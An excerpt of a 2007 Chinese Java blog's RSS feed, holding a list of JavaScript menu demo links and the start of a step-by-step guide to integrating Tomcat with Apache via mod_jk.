		<br />希望对大家需要的时候有点帮助，呵呵. <img src ="http://www.blogjava.net/bcims/aggbug/104029.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-03-15 15:37 <a href="http://www.blogjava.net/bcims/archive/2007/03/15/104029.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JS树 </title><link>http://www.blogjava.net/bcims/archive/2007/01/21/95186.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sun, 21 Jan 2007 15:01:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/01/21/95186.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/95186.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/01/21/95186.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/95186.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/95186.html</trackback:ping><description><![CDATA[录结构菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/dir1.htm">http://vip.5d.cn/flood/myjs/htm/menu/dir1.htm</a><br />简单树型菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0035.htm">http://vip.5d.cn/flood/myjs/baoku/0035.htm</a><br />经典树型菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/content.htm">http://vip.5d.cn/flood/myjs/htm/menu/content.htm</a><br />顶部滑动菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/show.htm">http://vip.5d.cn/flood/myjs/htm/menu/show.htm</a><br />左边滑动菜单（可随滚动条滚动而变化）演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/sidemenu.htm">http://vip.5d.cn/flood/myjs/htm/menu/sidemenu.htm</a><br />左侧菜单1 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0008.htm">http://vip.5d.cn/flood/myjs/baoku/0008.htm</a><br />左侧菜单2 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0010.htm">http://vip.5d.cn/flood/myjs/baoku/0010.htm</a><br />键盘控制菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0009.htm">http://vip.5d.cn/flood/myjs/baoku/0009.htm</a><br />QQ菜单生成器 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/qqhtm.htm">http://vip.5d.cn/flood/myjs/htm/menu/qqhtm.htm</a><br />QQ菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/qq/qqmenu.htm">http://vip.5d.cn/flood/myjs/htm/menu/qq/qqmenu.htm</a><br />软件型菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/menu2.htm">http://vip.5d.cn/flood/myjs/htm/menu/menu2.htm</a><br />五角型菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/fivemenu.htm">http://vip.5d.cn/flood/myjs/htm/menu/fivemenu.htm</a><br />像素渐变菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/dmenu.htm">http://vip.5d.cn/flood/myjs/htm/menu/dmenu.htm</a><br />渐变菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/coolmenu.htm">http://vip.5d.cn/flood/myjs/htm/menu/coolmenu.htm</a><br />多级渐变菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/coolmenus3.htm">http://vip.5d.cn/flood/myjs/htm/menu/coolmenus3.htm</a><br />三级关联菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0037.htm">http://vip.5d.cn/flood/myjs/baoku/0037.htm</a><br />链接菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0038.htm">http://vip.5d.cn/flood/myjs/baoku/0038.htm</a><br />功能型右键菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0141.htm">http://vip.5d.cn/flood/myjs/baoku/0141.htm</a><br />滑动导航 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0148.htm">http://vip.5d.cn/flood/myjs/baoku/0148.htm</a><br />收藏夹式树型菜单 演示地址：<a href="http://vip.5d.cn/flood/myjs/baoku/0155.htm">http://vip.5d.cn/flood/myjs/baoku/0155.htm</a><br />图片下拉导航 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0152.htm">http://vip.5d.cn/flood/myjs/baoku/0152.htm</a><br />滑动菜单 <a href="http://vip.5d.cn/flood/menu/hdmenu.htm">http://vip.5d.cn/flood/menu/hdmenu.htm</a><br />淡入淡出菜单 <a href="http://vip.5d.cn/flood/menu/drdc.htm">http://vip.5d.cn/flood/menu/drdc.htm</a><br />伸缩菜单 <a href="http://vip.5d.cn/flood/menu/ssmenu.htm">http://vip.5d.cn/flood/menu/ssmenu.htm</a><br />伸缩菜单1 <a href="http://vip.5d.cn/flood/menu/ssmenu1.htm">http://vip.5d.cn/flood/menu/ssmenu1.htm</a><br />拖动改变次序的XML树型菜单 <a href="http://vip.5d.cn/flood/menu/xmlmenu.htm">http://vip.5d.cn/flood/menu/xmlmenu.htm</a><br />多级滑动菜单 <a href="http://vip.5d.cn/flood/menu/mutimenu.htm">http://vip.5d.cn/flood/menu/mutimenu.htm</a><br />xp样式菜单1 <a href="http://vip.5d.cn/flood/menu/xpmenu.htm">http://vip.5d.cn/flood/menu/xpmenu.htm</a><br />xp样式菜单2 <a href="http://vip.5d.cn/flood/menu/xpmenu1.htm">http://vip.5d.cn/flood/menu/xpmenu1.htm</a>? 录结构菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/dir1.htm">http://vip.5d.cn/flood/myjs/htm/menu/dir1.htm</a><br />简单树型菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0035.htm">http://vip.5d.cn/flood/myjs/baoku/0035.htm</a><br />经典树型菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/content.htm">http://vip.5d.cn/flood/myjs/htm/menu/content.htm</a><br />顶部滑动菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/show.htm">http://vip.5d.cn/flood/myjs/htm/menu/show.htm</a><br />左边滑动菜单（可随滚动条滚动而变化）演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/sidemenu.htm">http://vip.5d.cn/flood/myjs/htm/menu/sidemenu.htm</a><br />左侧菜单1 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0008.htm">http://vip.5d.cn/flood/myjs/baoku/0008.htm</a><br />左侧菜单2 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0010.htm">http://vip.5d.cn/flood/myjs/baoku/0010.htm</a><br />键盘控制菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0009.htm">http://vip.5d.cn/flood/myjs/baoku/0009.htm</a><br />QQ菜单生成器 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/qqhtm.htm">http://vip.5d.cn/flood/myjs/htm/menu/qqhtm.htm</a><br />QQ菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/qq/qqmenu.htm">http://vip.5d.cn/flood/myjs/htm/menu/qq/qqmenu.htm</a><br />软件型菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/menu2.htm">http://vip.5d.cn/flood/myjs/htm/menu/menu2.htm</a><br />五角型菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/fivemenu.htm">http://vip.5d.cn/flood/myjs/htm/menu/fivemenu.htm</a><br />像素渐变菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/dmenu.htm">http://vip.5d.cn/flood/myjs/htm/menu/dmenu.htm</a><br />渐变菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/coolmenu.htm">http://vip.5d.cn/flood/myjs/htm/menu/coolmenu.htm</a><br />多级渐变菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/htm/menu/coolmenus3.htm">http://vip.5d.cn/flood/myjs/htm/menu/coolmenus3.htm</a><br />三级关联菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0037.htm">http://vip.5d.cn/flood/myjs/baoku/0037.htm</a><br />链接菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0038.htm">http://vip.5d.cn/flood/myjs/baoku/0038.htm</a><br />功能型右键菜单 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0141.htm">http://vip.5d.cn/flood/myjs/baoku/0141.htm</a><br />滑动导航 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0148.htm">http://vip.5d.cn/flood/myjs/baoku/0148.htm</a><br />收藏夹式树型菜单 演示地址：<a href="http://vip.5d.cn/flood/myjs/baoku/0155.htm">http://vip.5d.cn/flood/myjs/baoku/0155.htm</a><br />图片下拉导航 演示地址： <a href="http://vip.5d.cn/flood/myjs/baoku/0152.htm">http://vip.5d.cn/flood/myjs/baoku/0152.htm</a><br />滑动菜单 <a href="http://vip.5d.cn/flood/menu/hdmenu.htm">http://vip.5d.cn/flood/menu/hdmenu.htm</a><br />淡入淡出菜单 <a href="http://vip.5d.cn/flood/menu/drdc.htm">http://vip.5d.cn/flood/menu/drdc.htm</a><br />伸缩菜单 <a href="http://vip.5d.cn/flood/menu/ssmenu.htm">http://vip.5d.cn/flood/menu/ssmenu.htm</a><br />伸缩菜单1 <a href="http://vip.5d.cn/flood/menu/ssmenu1.htm">http://vip.5d.cn/flood/menu/ssmenu1.htm</a><br />拖动改变次序的XML树型菜单 <a href="http://vip.5d.cn/flood/menu/xmlmenu.htm">http://vip.5d.cn/flood/menu/xmlmenu.htm</a><br />多级滑动菜单 <a href="http://vip.5d.cn/flood/menu/mutimenu.htm">http://vip.5d.cn/flood/menu/mutimenu.htm</a><br />xp样式菜单1 <a href="http://vip.5d.cn/flood/menu/xpmenu.htm">http://vip.5d.cn/flood/menu/xpmenu.htm</a><br />xp样式菜单2 <a href="http://vip.5d.cn/flood/menu/xpmenu1.htm">http://vip.5d.cn/flood/menu/xpmenu1.htm</a>?<img src ="http://www.blogjava.net/bcims/aggbug/95186.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-01-21 23:01 <a href="http://www.blogjava.net/bcims/archive/2007/01/21/95186.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Tomcat与Apache整合指南 </title><link>http://www.blogjava.net/bcims/archive/2007/01/21/95137.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sun, 21 Jan 2007 07:28:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/01/21/95137.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/95137.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/01/21/95137.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/95137.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/95137.html</trackback:ping><description><![CDATA[
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt">
				<b>
						<span style="FONT-SIZE: 12pt; mso-hansi-font-family: 宋体; mso-bidi-font-size: 10.5pt">
								<font face="宋体">
										<font size="2">第一部分：整合前的准备工作</font>
								</font>
						</span>
				</b>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">准备需要的软件<span lang="EN-US">: 
<p></p></span></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l1 level1 lfo1; tab-stops: list 18.0pt">
				<font size="2">
						<b>
								<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-family: 宋体">
										<span style="mso-list: Ignore">
												<font face="宋体">1、</font>
												<span style="FONT: 7pt 'Times New Roman'">
												</span>
										</span>
								</span>
						</b>
						<b>
								<span style="mso-hansi-font-family: 宋体">
										<font face="宋体">下载<span lang="EN-US">j2sdk<chsdate year="1899" month="12" day="30" islunardate="False" isrocdate="False" w:st="on"></chsdate>1.4.2 
<p></p></span></font>
								</span>
						</b>
				</font>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">下载地址<span lang="EN-US">:http://download.sun.com</span></font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt">
				<font face="宋体">
						<font size="2">
								<b>
										<span lang="EN-US" style="mso-hansi-font-family: 宋体">2</span>
								</b>
								<b>
										<span style="mso-hansi-font-family: 宋体">、下载<span lang="EN-US">Apache <chsdate year="1899" month="12" day="30" islunardate="False" isrocdate="False" w:st="on"></chsdate>2.0.48 
<p></p></span></span>
								</b>
						</font>
				</font>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">下载地址：<span lang="EN-US"><a href="http://www.apache.org/">http://www.apache.org/</a></span></font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt">
				<font face="宋体">
						<font size="2">
								<b>
										<span lang="EN-US" style="mso-hansi-font-family: 宋体">3</span>
								</b>
								<b>
										<span style="mso-hansi-font-family: 宋体">、下载<span lang="EN-US">Tomcat <chsdate year="1899" month="12" day="30" islunardate="False" isrocdate="False" w:st="on"></chsdate>5.0.14 
<p></p></span></span>
								</b>
						</font>
				</font>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">下载地址<span lang="EN-US">:http://Jakarta.apache.org</span></font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt">
				<font face="宋体">
						<font size="2">
								<b>
										<span lang="EN-US" style="mso-hansi-font-family: 宋体">4</span>
								</b>
								<b>
										<span style="mso-hansi-font-family: 宋体">、下载<span lang="EN-US">mod_jk_<chsdate year="1899" month="12" day="30" islunardate="False" isrocdate="False" w:st="on"></chsdate>1.2.5_2.0.47.dll 
<p></p></span></span>
								</b>
						</font>
				</font>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">下载地址<span lang="EN-US">:tomcat</span>的下载地址下载。</font>
						</font>
				</span>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">最新的下载地址:<a href="http://www.apache.org/dist/jakarta/tomcat-connectors/jk/binaries/win32/jk-1.2.6/">http://www.apache.org/dist/jakarta/tomcat-connectors/jk/binaries/win32/jk-1.2.6/</a></font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt">
				<b>
						<span style="FONT-SIZE: 12pt; mso-hansi-font-family: 宋体; mso-bidi-font-size: 10.5pt">
								<font face="宋体">
										<font size="2">第二部分：配置前的初始化工作</font>
								</font>
						</span>
				</b>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo2; tab-stops: list 18.0pt">
				<font size="2">
						<b>
								<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-family: 宋体">
										<span style="mso-list: Ignore">
												<font face="宋体">1、</font>
												<span style="FONT: 7pt 'Times New Roman'">
												</span>
										</span>
								</span>
						</b>
						<b>
								<span style="mso-hansi-font-family: 宋体">
										<font face="宋体">安装<span lang="EN-US">j2sdk<chsdate year="1899" month="12" day="30" islunardate="False" isrocdate="False" w:st="on"></chsdate>1.4.2 
<p></p></span></font>
								</span>
						</b>
				</font>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">运行<span lang="EN-US">j2sdk<chsdate year="1899" month="12" day="30" islunardate="False" isrocdate="False" w:st="on"></chsdate>1.4.2</span>的自动安装包，安装<span lang="EN-US">j2sdk1.4.2</span>到<span lang="EN-US">C:\j2sdk\j2sdk1.4.2</span>目录下。</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo2; tab-stops: list 18.0pt">
				<font size="2">
						<b>
								<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-family: 宋体">
										<span style="mso-list: Ignore">
												<font face="宋体">2、</font>
												<span style="FONT: 7pt 'Times New Roman'">
												</span>
										</span>
								</span>
						</b>
						<b>
								<span style="mso-hansi-font-family: 宋体">
										<font face="宋体">安装<span lang="EN-US">Apache</span>服务器<span lang="EN-US"><p></p></span></font>
								</span>
						</b>
				</font>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">运行<span lang="EN-US">Apache</span>的自动安装包，安装<span lang="EN-US">Apache<chsdate year="1899" month="12" day="30" islunardate="False" isrocdate="False" w:st="on"></chsdate>2.0.48</span>到<span lang="EN-US">D:\Apache\Apache2</span>目录下。</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo2; tab-stops: list 18.0pt">
				<font size="2">
						<b>
								<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-family: 宋体">
										<span style="mso-list: Ignore">
												<font face="宋体">3、</font>
												<span style="FONT: 7pt 'Times New Roman'">
												</span>
										</span>
								</span>
						</b>
						<b>
								<span style="mso-hansi-font-family: 宋体">
										<font face="宋体">安装<span lang="EN-US">Tomcat</span>服务器<span lang="EN-US"><p></p></span></font>
								</span>
						</b>
				</font>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">运行<span lang="EN-US">Tomcat</span>的自动安装包，安装<span lang="EN-US">Tomcat<chsdate year="1899" month="12" day="30" islunardate="False" isrocdate="False" w:st="on"></chsdate>5.0.14</span>到<span lang="EN-US">D:\Apache\Tomcat5</span>目录下。</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo2; tab-stops: list 18.0pt">
				<font size="2">
						<b>
								<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-family: 宋体">
										<span style="mso-list: Ignore">
												<font face="宋体">4、</font>
												<span style="FONT: 7pt 'Times New Roman'">
												</span>
										</span>
								</span>
						</b>
						<b>
								<span style="mso-hansi-font-family: 宋体">
										<font face="宋体">安装<span lang="EN-US">mod_jk 
<p></p></span></font>
								</span>
						</b>
				</font>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">拷贝<span lang="EN-US">mod_jk_<chsdate year="1899" month="12" day="30" islunardate="False" isrocdate="False" w:st="on"></chsdate>1.2.5_2.0.47.dll</span>文件到<span lang="EN-US">D:\Apache\Apache2\modules</span>文件夹下。</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo2; tab-stops: list 18.0pt">
				<font size="2">
						<b>
								<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-family: 宋体">
										<span style="mso-list: Ignore">
												<font face="宋体">5、</font>
												<span style="FONT: 7pt 'Times New Roman'">
												</span>
										</span>
								</span>
						</b>
						<b>
								<span style="mso-hansi-font-family: 宋体">
										<font face="宋体">准备工作目录和测试文件<span lang="EN-US"><p></p></span></font>
								</span>
						</b>
				</font>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">在<span lang="EN-US">D:</span>盘新建目录<span lang="EN-US">www,</span>并创建一个基本的<span lang="EN-US">index.jsp</span>文件，源码如下所示：</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">&lt;% 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">out.println("&lt;html&gt;"); 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">out.println("&lt;body&gt;"); 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">out.println("Welcome"); 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">out.println("&lt;/body&gt;"); 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">out.println("&lt;/html&gt;"); 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">%&gt;</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt">
				<b>
						<span style="FONT-SIZE: 12pt; mso-hansi-font-family: 宋体; mso-bidi-font-size: 10.5pt">
								<font face="宋体">
										<font size="2">第三部分：配置<span lang="EN-US">Apache</span>服务器</font>
								</font>
						</span>
				</b>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">编辑<span lang="EN-US">httpd.conf</span>文件<span lang="EN-US">,</span>使用文本编辑器打开<span lang="EN-US">httpd.conf</span>文件，在文件的最后添加如下内容<span lang="EN-US">:</span></font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2"># Using mod_jk2.dll to redirect dynamic calls to Tomcat 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">LoadModule jk_module modules/mod_jk_<chsdate year="1899" month="12" day="30" islunardate="False" isrocdate="False" w:st="on"></chsdate>1.2.5_2.0.47.dll 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">JkWorkersFile "D:/Apache/Tomcat5/conf/workers.properties" 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">JkLogFile "D:/Apache/Tomcat5/logs/mod_jk2.log"<span style="mso-spacerun: yes">  </span><p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">JkLogLevel info 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">JkMount /servlet/* ajp13 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">JkMount /*.jsp ajp13 </font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">Alias /web "D:/www/"<span style="mso-spacerun: yes">  </span></font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
